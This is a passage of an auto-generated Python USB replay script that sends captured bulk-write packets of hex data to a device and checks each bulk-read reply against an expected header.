b\"\\xB2\\xDC\\x3E\\x76\\x39\\x05\\x60\\x5A\\x41\\x30\\xD7\\x19\\xF8\\x39\\x7F\\x5D\"\n b\"\\x14\\xDF\\x87\\x30\\x93\\x7E\\x12\\x25\\x6A\\x41\\xF3\\xFC\\x5A\\xB0\\x9D\\x52\"\n b\"\\xDC\\xE7\\x68\\x06\\x67\\xEF\\x8A\\x51\\xF9\\x76\\x45\\xEE\\x38\\x9F\\x57\\x7A\"\n b\"\\xBF\\x93\\x8B\\xB2\\xE8\\xBE\\xBD\\x88\\x0B\\x39\\xEE\\x0E\\xD5\\x8C\\xB6\\x07\"\n b\"\\x84\\xEA\\xA0\\x1E\\xFA\\x4D\\x29\\x3D\\x5E\\xEB\\x6B\\x66\\x36\\x2E\\x82\\xAE\"\n b\"\\x93\\x14\\x5C\\x64\\xC9\\x82\\x1B\\x8D\\xB5\\xF3\\xED\\xB3\\x78\\xBC\\x7C\\xEB\"\n b\"\\xE4\\xAF\\x0D\\x53\\xC8\\xA5\\x34\\x84\\x8F\\xD7\\x4C\\x78\")\n # Generated from packet 2887/2888\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2887/2888\")\n # Generated from packet 2889/2890\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7E\\x5D\\xB5\\x58\\xE0\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\x41\\x2F\\x7C\\xAE\\x9C\\xFD\\xFE\"\n b\"\\xFE\\x60\\xA9\\xAD\\xFF\\xAB\\x27\\x82\\x34\\xC3\\xEC\\xE5\\x18\\xFB\\xEF\\x0B\"\n b\"\\xC2\\x04\\xB0\\x62\\x82\\x18\\xB0\\x30\\x97\\x76\\x6F\\x8D\\x6B\\xD0\\xDF\\x0E\"\n b\"\\xCD\\xC5\\xDF\\xC2\\xF9\\x32\\xD3\\x90\\x64\\x09\\xB8\\x46\\x44\\xB1\\x18\\x61\"\n b\"\\x3A\\x8A\\x4A\\x15\\xD2\\x90\\x3F\\x77\\x4D\\x98\\xF6\\x49\\x42\\xB7\\xE6\\x69\"\n b\"\\x4A\\x5D\\x3D\\xA3\\x9E\\x79\\x76\\x7A\\x85\\xB8\\xA7\\xC8\\x68\\xD2\\x0D\\xD6\"\n b\"\\xC8\\x18\\x1F\\x02\\x64\\x0F\\xC3\\xEF\\x11\\x4F\\x97\\xCA\\xEB\\x5D\\xC6\\x55\"\n b\"\\xCE\\x29\\x77\\x3E\\x6A\\xA2\\xAE\\x60\\x46\\xDA\\x9B\\xD7\\x05\\x63\\x92\\x7F\"\n b\"\\x41\\x8F\\x74\\x87\\x2C\\x08\\xD5\\x12\\x39\\xF1\\xEA\\xF3\\xE0\\xC1\\x1B\\x9D\"\n b\"\\x4E\\x47\\x4C\\x68\\x1A\\xFC\\x44\\x8A\\x4D\\x62\\xDD\\x45\\xF2\\xA3\\x34\\x57\"\n b\"\\x66\\x24\\x38\\x8B\\xAE\\x73\\x15\\xBD\\x94\\x90\\x92\\xEE\\x12\\x4E\\x27\\xB6\"\n b\"\\x1B\\x1F\\x41\\xA0\\x02\\x61\\xE6\\x29\\x21\\xC5\\x40\\x6B\\x7A\\xAD\\x85\\x82\"\n b\"\\xB2\\x08\\xBF\\x5C\\x78\\x52\\x29\\x1B\\x91\\x2E\\x58\\xED\\xAF\\xE3\\x17\\x7C\"\n b\"\\xF7\\x7F\\x04\\x0D\\x4F\\x53\\x0E\\x34\\x98\\x14\\x7C\\x4C\\x64\\x9F\\x42\\x6D\"\n b\"\\xD8\\x71\\xC8\\xEF\\x2E\\xFE\\xA1\\x5A\\xEE\\x10\\x8D\\x2B\\xA2\\xD4\\x3E\\x33\"\n b\"\\x9F\\x80\\x2A\\xBB\\x3E\\x6A\\x59\\xEB\\x0A\\x5B\\xF3\\x12\\x79\\x75\\x0E\\xEB\"\n b\"\\x53\\x4F\\x19\\x64\\x6C\\x5F\\x56\\x93\\x43\\x50\\xEB\\x88\")\n # Generated from packet 2891/2892\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2891/2892\")\n # Generated from packet 2893/2894\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2C\\xAC\\xA7\\x64\\xE1\\x15\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x09\\x06\\x20\\xB9\\x20\\xAE\\x84\"\n b\"\\x83\\xFE\\x64\\xDE\\x15\\xB9\\x8D\\xA2\\x64\\x4F\\xB3\\x6F\\x2B\\xDE\\xEB\\xF3\"\n b\"\\x38\\xAF\\x53\\xDF\\x32\\x96\\x84\\x98\\x40\\xEE\\x78\\x13\\x7E\\xCF\\xC4\\xFD\"\n b\"\\xF4\\x4D\\x32\\x72\\x9D\\xF8\\xF2\\x9C\\xB1\\x89\\xBE\\x58\\x02\\x91\\x83\\x0C\"\n b\"\\x16\\x19\\x22\\xE6\\x65\\x49\\x16\\xD7\\xCF\\xB0\\x65\\xF9\\x32\\x49\\x4F\\xC3\"\n b\"\\x25\\xC6\\x70\\xD3\\x6A\\x31\\x5F\\xDC\\xD7\\x2A\\x87\\x6A\\x04\\x44\\x78\\x23\"\n b\"\\x4D\\xC0\\x6F\\xAC\\x4C\\xFA\\x28\\x0A\\x4C\\x6C\\xF5\\xF2\\xA8\\x98\\xC8\\x2D\"\n b\"\\x02\\x5D\\x1C\\x24\\xBA\\x44\\x41\\x7E\\x69\\xD2\\xEE\\x3B\\x94\\x69\\x3D\\x28\"\n b\"\\x03\\x7D\\x87\\x22\\x3F\\x2B\\xD9\\x9A\\x5F\\x1E\\xFA\\x03\\x15\\xDE\\x14\\x99\"\n b\"\\x91\\x12\\x79\\x8C\\x06\\x3E\\x8F\\xA4\\x2F\\x16\\x7D\\x87\\x07\\xBC\\x8C\\x72\"\n b\"\\x5D\\x1B\\x5F\\x60\\x94\\x15\\x51\\x5C\\x9A\\x5F\\xAC\\xB7\\x9B\\x1C\\xBB\\xAF\"\n b\"\\x19\\x6E\\x35\\x1E\\x9C\\xC6\\xA8\\xBA\\x2B\\x0D\\xA3\\xB4\\xBF\\x03\\x09\\xE0\"\n b\"\\x51\\xFC\\x53\\xA8\\xDC\\xA1\\x9D\\xAA\\xE7\\xDE\\xEB\\xC5\\x8F\\xB7\\x12\\xDE\"\n b\"\\x76\\xF0\\x04\\xF1\\xED\\x74\\x33\\x93\\xA6\\xC1\\x5A\\x8F\\x61\\x40\\x5D\\xFA\"\n b\"\\x3D\\x01\\x08\\xE3\\xAF\\x31\\xF4\\x88\\x50\\x28\\x41\\x6A\\xE4\\x79\\x12\\x3E\"\n b\"\\x96\\xC5\\xA2\\x49\\x31\\x71\\xFD\\x4A\\xA3\\xB8\\x02\\x8D\\x30\\x77\\x1C\\x4F\"\n b\"\\xFD\\xAA\\x4A\\x43\\x0C\\x3B\\x36\\x01\\x36\\x80\\x9D\\xEA\")\n # Generated from packet 2895/2896\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2895/2896\")\n # Generated from packet 2897/2898\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE2\\xFC\\xA9\\x70\\x60\\x5B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x73\\xD6\\x63\\x75\\x8B\\x5B\\x84\\xD5\"\n b\"\\x1E\\x4E\\x7D\\xEA\\xFF\\x97\\x4D\\x1B\\x91\\x39\\xCB\\x4C\\x64\\x6D\\x70\\x44\"\n b\"\\x86\\x3A\\xEE\\xDD\\x49\\x85\\x2F\\x34\\x5B\\x11\\xA8\\x38\\x87\\xD9\\xFF\\x15\"\n b\"\\xB1\\xE3\\x1C\\x92\\xE2\\x65\\xC2\\x27\\xBA\\x6C\\x93\\x41\\xAC\\x75\\xED\\xE6\"\n b\"\\x25\\x56\\x49\\x40\\x67\\x0D\\x21\\x85\\x8E\\xC5\\x84\\xBF\\x50\\x0F\\xDE\\x29\"\n b\"\\x17\\xE6\\xA2\\x58\\xE1\\xD8\\x6F\\x17\\x70\\x80\\xF3\\x04\\x01\\x38\\xDF\\x0E\"\n b\"\\x38\\xEF\\x98\\x7C\\x40\\x13\\x13\\x42\\x61\\xAF\\xFD\\xC8\\xE3\\x59\\x72\\xA1\"\n b\"\\x56\\x99\\x9C\\x8D\\x27\\xD5\\x58\\x3E\\x3F\\xE8\\x0C\\x2A\\xB7\\x49\\xE6\\x59\"\n b\"\\xE7\\x7D\\xD7\\xF3\\x1E\\x0E\\xF9\\x0E\\xE7\\x24\\xC3\\x19\\x68\\x1B\\xD3\\x56\"\n b\"\\x9F\\x34\\xDC\\xEB\\x84\\xEC\\x6A\\x38\\xEA\\x13\\x23\\x71\\x6E\\x04\\xAC\\x70\"\n b\"\\x54\\x43\\x0A\\x70\\xC2\\x9E\\xF2\\x94\\x36\\xA3\\x2D\\x3E\\xF3\\x77\\x24\\x86\"\n b\"\\xEA\\x2A\\x7E\\x55\\x7C\\x85\\x3B\\xA8\\xC7\\x56\\x28\\x3F\\xD3\\xEC\\x22\\x03\"\n b\"\\x85\\xB2\\x9A\\x63\\xB0\\x91\\x03\\x29\\x70\\x7F\\x99\\xAD\\xBC\\x12\\x8C\\x3A\"\n b\"\\x90\\xE4\\xA4\\x13\\xB8\\x16\\x87\\x3B\\x12\\xE7\\x72\\x61\\xB5\\x34\\x60\\xA8\"\n b\"\\xBB\\x3A\\x5C\\xA6\\xF1\\xC7\\xB7\\xA7\\xB2\\xD0\\xAF\\x25\\xC0\\x5E\\x1E\\xA0\"\n b\"\\x68\\xC3\\xBA\\x17\\xA3\\xC8\\xB4\\x83\\xAD\\x62\\xE0\\x6D\\x52\\x38\\xA8\\xE0\"\n b\"\\x0F\\xF6\\xAA\\xDB\\x70\\x80\\xC5\\xB3\\x19\\x79\\xDE\\x4A\")\n # Generated from packet 2899/2900\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2899/2900\")\n # Generated from packet 2901/2902\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF8\\xC8\\xF0\\xBC\\x8F\\x3D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA3\\x6D\\x2C\\x69\\xF7\\xD7\\x44\\x8A\"\n b\"\\xA0\\x49\\xDD\\x45\\x1F\\x88\\x34\\x57\\x8B\\x0F\\x38\\x8B\\x43\\x58\\x15\\xBD\"\n b\"\\x79\\xBB\\x92\\xEE\\xFF\\x65\\x27\\xB6\\xF6\\x34\\x41\\xA0\\xEF\\x4A\\xE6\\x29\"\n b\"\\xCC\\xEE\\x40\\x6B\\x97\\x86\\x85\\x82\\x5F\\x23\\xBF\\x5C\\x95\\x79\\x29\\x1B\"\n b\"\\x7C\\x05\\x58\\xED\\x42\\xC8\\x17\\x7C\\x1A\\x54\\x04\\x0D\\xA2\\x78\\x0E\\x34\"\n b\"\\x75\\x3F\\x7C\\x4C\\x89\\xB4\\x42\\x6D\\x35\\x5A\\xC8\\xEF\\xC3\\xD5\\xA1\\x5A\"\n b\"\\x03\\x3B\\x8D\\x2B\\x4F\\xFF\\x3E\\x33\\x72\\xAB\\x2A\\xBB\\xD3\\x41\\x59\\xEB\"\n b\"\\xE7\\x70\\xF3\\x12\\x94\\x5E\\x0E\\xEB\\xBE\\x64\\x19\\x64\\x81\\x74\\x56\\x93\"\n b\"\\xAE\\x7B\\xEB\\x88\\x76\\xCD\\x38\\xE6\\x89\\x84\\x71\\x62\\x9E\\x0B\\x70\\x58\"\n b\"\\xD9\\xAD\\x70\\xCE\\x04\\x55\\x94\\x3A\\x39\\x8A\\x3E\\xFF\\xED\\x83\\x86\\xE6\"\n b\"\\xB0\\xD9\\x55\\x70\\x1F\\x9C\\xA8\\xCB\\xCC\\x8F\\x3F\\xDF\\x76\\x85\\x03\\x89\"\n b\"\\x28\\x3D\\x63\\xBC\\x0B\\xA4\\x29\\x7C\\xE5\\x3E\\xAD\\xB0\\x88\\x2B\\x3A\\x9C\"\n b\"\\x7E\\x03\\x13\\xB4\\x8C\\x20\\x3B\\x1E\\x7D\\xD5\\x61\\xB9\\xAE\\xC7\\xA8\\xB7\"\n b\"\\xA0\\xFB\\xA6\\xFD\\x5D\\x10\\xA7\\xBE\\x4A\\x08\\x25\\xCC\\xC4\\xB9\\xA0\\x64\"\n b\"\\x59\\x1D\\x17\\xAF\\x52\\x13\\x83\\xA1\\xF8\\x47\\x6D\\x5E\\xA2\\x0F\\xE0\\x03\"\n b\"\\x6C\\x0D\\xDB\\x7C\\x1A\\x62\\xB3\\x15\\xE3\\x79\\x4A\\x52\\xF5\\x56\\xD1\\xD6\"\n b\"\\xC2\\x34\\x9A\\x63\\xAB\\x28\\x5D\\xE2\\xAC\\x5D\\x01\\xA3\")\n # Generated from packet 2903/2904\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2903/2904\")\n # Generated from packet 2905/2906\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x36\\x98\\xFE\\xA8\\x6E\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x95\\x5D\\x78\\x60\\xEB\\x47\\x4A\\x15\"\n b\"\\x03\\x5D\\x3F\\x77\\x9C\\x55\\xF6\\x49\\x93\\x7A\\xE6\\x69\\x9B\\x90\\x3D\\xA3\"\n b\"\\x4F\\xB4\\x76\\x7A\\x54\\x75\\xA7\\xC8\\xB9\\x1F\\x0D\\xD6\\x19\\xD5\\x1F\\x02\"\n b\"\\xB5\\xC2\\xC3\\xEF\\xC0\\x82\\x97\\xCA\\x3A\\x90\\xC6\\x55\\x1F\\xE4\\x77\\x3E\"\n b\"\\xBB\\x6F\\xAE\\x60\\x97\\x17\\x9B\\xD7\\xD4\\xAE\\x92\\x7F\\x90\\x42\\x74\\x87\"\n b\"\\xFD\\xC5\\xD5\\x12\\xE8\\x3C\\xEA\\xF3\\x31\\x0C\\x1B\\x9D\\x9F\\x8A\\x4C\\x68\"\n b\"\\xCB\\x31\\x44\\x8A\\x9C\\xAF\\xDD\\x45\\x23\\x6E\\x34\\x57\\xB7\\xE9\\x38\\x8B\"\n b\"\\x7F\\xBE\\x15\\xBD\\x45\\x5D\\x92\\xEE\\xC3\\x83\\x27\\xB6\\xCA\\xD2\\x41\\xA0\"\n b\"\\xD3\\xAC\\xE6\\x29\\xF0\\x08\\x40\\x6B\\xAB\\x60\\x85\\x82\\x63\\xC5\\xBF\\x5C\"\n b\"\\xA9\\x9F\\x29\\x1B\\x40\\xE3\\x58\\xED\\x7E\\x2E\\x17\\x7C\\x26\\xB2\\x04\\x0D\"\n b\"\\x9E\\x9E\\x0E\\x34\\x49\\xD9\\x7C\\x4C\\xB5\\x52\\x42\\x6D\\x09\\xBC\\xC8\\xEF\"\n b\"\\xFF\\x33\\xA1\\x5A\\x3F\\xDD\\x8D\\x2B\\x73\\x19\\x3E\\x33\\x4E\\x4D\\x2A\\xBB\"\n b\"\\xEF\\xA7\\x59\\xEB\\xDB\\x96\\xF3\\x12\\xA8\\xB8\\x0E\\xEB\\x82\\x82\\x19\\x64\"\n b\"\\xBD\\x92\\x56\\x93\\x92\\x9D\\xEB\\x88\\x4A\\x2B\\x38\\xE6\\xB5\\x62\\x71\\x62\"\n b\"\\xA2\\xED\\x70\\x58\\xE5\\x4B\\x70\\xCE\\x38\\xB3\\x94\\x3A\\x05\\x6C\\x3E\\xFF\"\n b\"\\xD1\\x65\\x86\\xE6\\x8C\\x3F\\x55\\x70\\x23\\x7A\\xA8\\xCB\\xF0\\x69\\x3F\\xDF\"\n b\"\\x4A\\x63\\x03\\x89\\x14\\xDB\\x63\\xBC\\x37\\x42\\x29\\x7C\")\n # Generated from packet 2907/2908\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2907/2908\")\n # Generated from packet 2909/2910\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x64\\x69\\xEC\\x94\\x3C\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x68\\xA0\\xA3\\x96\\x4D\\x1B\\xD1\\xC6\"\n b\"\\xD2\\x3E\\xA5\\x77\\xB9\\x9A\\x2E\\xAE\\xE7\\xB6\\x56\\x9B\\x50\\xF5\\xEF\\x92\"\n b\"\\xF8\\xB1\\x03\\x74\\x00\\xDC\\x84\\xD5\\x95\\xC9\\x7D\\xEA\\x74\\x10\\x4D\\x1B\"\n b\"\\x1A\\xBE\\xCB\\x4C\\xEF\\xEA\\x70\\x44\\x0D\\xBD\\xEE\\xDD\\xC2\\x02\\x2F\\x34\"\n b\"\\xD0\\x96\\xA8\\x38\\x0C\\x5E\\xFF\\x15\\x3A\\x64\\x1C\\x92\\x69\\xE2\\xC2\\x27\"\n b\"\\x31\\xEB\\x93\\x41\\x27\\xF2\\xED\\xE6\\xAE\\xD1\\x49\\x40\\xEC\\x8A\\x21\\x85\"\n b\"\\x05\\x42\\x84\\xBF\\xDB\\x88\\xDE\\x29\\x9C\\x61\\xA2\\x58\\x6A\\x5F\\x6F\\x17\"\n b\"\\xFB\\x07\\xF3\\x04\\x8A\\xBF\\xDF\\x0E\\xB3\\x68\\x98\\x7C\\xCB\\x94\\x13\\x42\"\n b\"\\xEA\\x28\\xFD\\xC8\\x68\\xDE\\x72\\xA1\\xDD\\x1E\\x9C\\x8D\\xAC\\x52\\x58\\x3E\"\n b\"\\xB4\\x6F\\x0C\\x2A\\x3C\\xCE\\xE6\\x59\\x6C\\xFA\\xD7\\xF3\\x95\\x89\\xF9\\x0E\"\n b\"\\x6C\\xA3\\xC3\\x19\\xE3\\x9C\\xD3\\x56\\x14\\xB3\\xDC\\xEB\\x0F\\x6B\\x6A\\x38\"\n b\"\\x61\\x94\\x23\\x71\\xE5\\x83\\xAC\\x70\\xDF\\xC4\\x0A\\x70\\x49\\x19\\xF2\\x94\"\n b\"\\xBD\\x24\\x2D\\x3E\\x78\\xF0\\x24\\x86\\x61\\xAD\\x7E\\x55\\xF7\\x02\\x3B\\xA8\"\n b\"\\x4C\\xD1\\x28\\x3F\\x58\\x6B\\x22\\x03\\x0E\\x35\\x9A\\x63\\x3B\\x16\\x03\\x29\"\n b\"\\xFB\\xF8\\x99\\xAD\\x37\\x95\\x8C\\x3A\\x1B\\x63\\xA4\\x13\\x33\\x91\\x87\\x3B\"\n b\"\\x99\\x60\\x72\\x61\\x3E\\xB3\\x60\\xA8\\x30\\xBD\\x5C\\xA6\\x7A\\x40\\xB7\\xA7\"\n b\"\\x39\\x57\\xAF\\x25\\x4B\\xD9\\x1E\\xA0\\xE3\\x44\\xBA\\x17\")\n # Generated from packet 2911/2912\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2911/2912\")\n # Generated from packet 2913/2914\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAA\\x39\\xE2\\x80\\x7B\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\x0E\\x47\\xB7\\x68\\x3E\\x41\\xA0\"\n b\"\\x71\\x40\\xE6\\x29\\x52\\xE4\\x40\\x6B\\x09\\x8C\\x85\\x82\\xC1\\x29\\xBF\\x5C\"\n b\"\\x0B\\x73\\x29\\x1B\\xE2\\x0F\\x58\\xED\\xDC\\xC2\\x17\\x7C\\x84\\x5E\\x04\\x0D\"\n b\"\\x3C\\x72\\x0E\\x34\\xEB\\x35\\x7C\\x4C\\x17\\xBE\\x42\\x6D\\xAB\\x50\\xC8\\xEF\"\n b\"\\x5D\\xDF\\xA1\\x5A\\x9D\\x31\\x8D\\x2B\\xD1\\xF5\\x3E\\x33\\xEC\\xA1\\x2A\\xBB\"\n b\"\\x4D\\x4B\\x59\\xEB\\x79\\x7A\\xF3\\x12\\x0A\\x54\\x0E\\xEB\\x20\\x6E\\x19\\x64\"\n b\"\\x1F\\x7E\\x56\\x93\\x30\\x71\\xEB\\x88\\xE8\\xC7\\x38\\xE6\\x17\\x8E\\x71\\x62\"\n b\"\\x00\\x01\\x70\\x58\\x47\\xA7\\x70\\xCE\\x9A\\x5F\\x94\\x3A\\xA7\\x80\\x3E\\xFF\"\n b\"\\x73\\x89\\x86\\xE6\\x2E\\xD3\\x55\\x70\\x81\\x96\\xA8\\xCB\\x52\\x85\\x3F\\xDF\"\n b\"\\xE8\\x8F\\x03\\x89\\xB6\\x37\\x63\\xBC\\x95\\xAE\\x29\\x7C\\x7B\\x34\\xAD\\xB0\"\n b\"\\x16\\x21\\x3A\\x9C\\xE0\\x09\\x13\\xB4\\x12\\x2A\\x3B\\x1E\\xE3\\xDF\\x61\\xB9\"\n b\"\\x30\\xCD\\xA8\\xB7\\x3E\\xF1\\xA6\\xFD\\xC3\\x1A\\xA7\\xBE\\xD4\\x02\\x25\\xCC\"\n b\"\\x5A\\xB3\\xA0\\x64\\xC7\\x17\\x17\\xAF\\xCC\\x19\\x83\\xA1\\x66\\x4D\\x6D\\x5E\"\n b\"\\x3C\\x05\\xE0\\x03\\xF2\\x07\\xDB\\x7C\\x84\\x68\\xB3\\x15\\x7D\\x73\\x4A\\x52\"\n b\"\\x6B\\x5C\\xD1\\xD6\\x5C\\x3E\\x9A\\x63\\x35\\x22\\x5D\\xE2\\x32\\x57\\x01\\xA3\"\n b\"\\x67\\x4E\\x93\\x93\\x9B\\x25\\x6C\\x8A\\x2E\\xC7\\xD8\\xDB\\x7D\\x93\\xAA\\x67\"\n b\"\\xCD\\xE4\\x0D\\xD3\\x92\\xE7\\x9F\\x1A\\x6D\\x20\\x0C\\xD5\")\n # Generated from packet 2915/2916\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2915/2916\")\n # Generated from packet 2917/2918\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC0\\x8B\\xC9\\xEC\\xF4\\x0F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD7\\x92\\xB0\\x26\\x60\\xD4\\xC2\\xC2\"\n b\"\\x83\\xA2\\x04\\xE4\\xEB\\xC4\\x1B\\xD9\\xBC\\xA9\\x27\\x60\\x15\\x39\\x91\\xDF\"\n b\"\\x4C\\x62\\x8B\\xDF\\xE5\\x1E\\xA9\\xDE\\xA3\\x0F\\x68\\x2D\\x18\\x66\\x39\\x75\"\n b\"\\x61\\x0F\\x85\\x4D\\x43\\x26\\x56\\x19\\x06\\x83\\x3E\\xAA\\x3B\\xDE\\xFF\\x19\"\n b\"\\x19\\xF5\\xB4\\x74\\x6D\\xDA\\x3C\\x68\\xB4\\x1D\\x6D\\x4F\\xE3\\x53\\x10\\xFD\"\n b\"\\x60\\x03\\xEC\\xA9\\x33\\x02\\x27\\x27\\x1C\\xC9\\x4F\\xEC\\x7B\\xE5\\x77\\xEF\"\n b\"\\x95\\x3F\\x88\\xB0\\xFC\\x7F\\x94\\xB0\\xAE\\x6A\\xFA\\x6F\\x13\\x96\\x5C\\xDF\"\n b\"\\x90\\x30\\x49\\xDF\\x5C\\x04\\xBE\\xD3\\x0E\\x99\\x85\\xB8\\xD8\\xB9\\x3D\\x18\"\n b\"\\xFF\\xC7\\x06\\x4A\\x8B\\x2F\\x1C\\x3F\\xE9\\xB0\\x14\\xF6\\xD7\\xBF\\x3B\\xE6\"\n b\"\\xF7\\xB7\\xD1\\x3D\\x3D\\x63\\xF5\\x76\\xE4\\x78\\x34\\xA7\\x56\\x95\\x5E\\x0D\"\n b\"\\x48\\x35\\x94\\x1F\\x9C\\x99\\x83\\xC3\\x71\\xEC\\xC3\\x97\\x54\\x16\\xD1\\xC6\"\n b\"\\xCB\\x33\\xA5\\x77\\xA0\\x97\\x2E\\xAE\\xFE\\xBB\\x56\\x9B\\x49\\xF8\\xEF\\x92\"\n b\"\\xE1\\xBC\\x03\\x74\\x19\\xD1\\x84\\xD5\\x8C\\xC4\\x7D\\xEA\\x6D\\x1D\\x4D\\x1B\"\n b\"\\x03\\xB3\\xCB\\x4C\\xF6\\xE7\\x70\\x44\\x14\\xB0\\xEE\\xDD\\xDB\\x0F\\x2F\\x34\"\n b\"\\xC9\\x9B\\xA8\\x38\\x15\\x53\\xFF\\x15\\x23\\x69\\x1C\\x92\\x70\\xEF\\xC2\\x27\"\n b\"\\x28\\xE6\\x93\\x41\\x3E\\xFF\\xED\\xE6\\xB7\\xDC\\x49\\x40\\xF5\\x87\\x21\\x85\"\n b\"\\x1C\\x4F\\x84\\xBF\\xC2\\x85\\xDE\\x29\\x85\\x6C\\xA2\\x58\")\n # Generated from packet 2919/2920\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2919/2920\")\n # Generated from packet 2921/2922\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0E\\xDB\\xC7\\xF8\\x5B\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x54\\x32\\x31\\x15\\x9D\\xAD\\x5E\\x3B\"\n b\"\\x8D\\x8D\\x56\\xD1\\x56\\x47\\x82\\xF5\\x1D\\x9E\\x99\\x34\\xCC\\x2C\\x74\\x5E\"\n b\"\\x66\\x32\\xD4\\x94\\x74\\xE6\\x78\\x83\\xA8\\x0B\\x0D\\xC3\\xFC\\x2E\\xF7\\xD1\"\n b\"\\xAD\\xB1\\xD2\\xA5\\x1C\\xDA\\x76\\x2E\\xC5\\x84\\x5A\\x56\\xF0\\x33\\x19\\xEF\"\n b\"\\xF9\\x9B\\x5D\\x03\\x1F\\x63\\x30\\x84\\xBE\\xF6\\x25\\x7D\\x81\\x17\\xFC\\x4D\"\n b\"\\x70\\x79\\x52\\xCB\\x27\\x8C\\x06\\x70\\x2F\\x6E\\x51\\xEE\\xB6\\xA1\\xEE\\x2F\"\n b\"\\x5F\\xB3\\x7A\\xA8\\x53\\x6F\\xB2\\xFF\\x7E\\x59\\x88\\x1C\\xF9\\x0A\\x0E\\xC2\"\n b\"\\x4C\\x52\\x07\\x93\\x2A\\x44\\x1E\\xED\\x8D\\xCD\\x3D\\x49\\x2B\\x8F\\x66\\x21\"\n b\"\\xEE\\x66\\xAE\\x84\\xD4\\xB8\\x64\\xDE\\x42\\xFF\\x8D\\xA2\\x33\\x09\\xB3\\x6F\"\n b\"\\x7C\\x98\\xEB\\xF3\\x6F\\xE9\\x53\\xDF\\x65\\xD0\\x84\\x98\\x17\\xA8\\x78\\x13\"\n b\"\\x29\\x89\\xC4\\xFD\\xA3\\x0B\\x32\\x72\\xCA\\xBE\\xF2\\x9C\\xE6\\xCF\\xBE\\x58\"\n b\"\\x55\\xD7\\x83\\x0C\\x41\\x5F\\x22\\xE6\\x32\\x0F\\x16\\xD7\\x98\\xF6\\x65\\xF9\"\n b\"\\x65\\x0F\\x4F\\xC3\\x72\\x80\\x70\\xD3\\x3D\\x77\\x5F\\xDC\\x80\\x6C\\x87\\x6A\"\n b\"\\x53\\x02\\x78\\x23\\x1A\\x86\\x6F\\xAC\\x1B\\xBC\\x28\\x0A\\x1B\\x2A\\xF5\\xF2\"\n b\"\\xFF\\xDE\\xC8\\x2D\\x55\\x1B\\x1C\\x24\\xED\\x02\\x41\\x7E\\x3E\\x94\\xEE\\x3B\"\n b\"\\xC3\\x2F\\x3D\\x28\\x54\\x3B\\x87\\x22\\x68\\x6D\\xD9\\x9A\\x08\\x58\\xFA\\x03\"\n b\"\\x42\\x98\\x14\\x99\\xC6\\x54\\x79\\x8C\\x51\\x78\\x8F\\xA4\")\n # Generated from packet 2923/2924\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2923/2924\")\n # Generated from packet 2925/2926\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5C\\x2A\\xD5\\xC4\\x62\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x3A\\xC5\\x76\\x72\\x5F\\x2E\\xAE\"\n b\"\\x2C\\x73\\x56\\x9B\\x9B\\x30\\xEF\\x92\\x33\\x74\\x03\\x74\\xCB\\x19\\x84\\xD5\"\n b\"\\x5E\\x0C\\x7D\\xEA\\xBF\\xD5\\x4D\\x1B\\xD1\\x7B\\xCB\\x4C\\x24\\x2F\\x70\\x44\"\n b\"\\xC6\\x78\\xEE\\xDD\\x09\\xC7\\x2F\\x34\\x1B\\x53\\xA8\\x38\\xC7\\x9B\\xFF\\x15\"\n 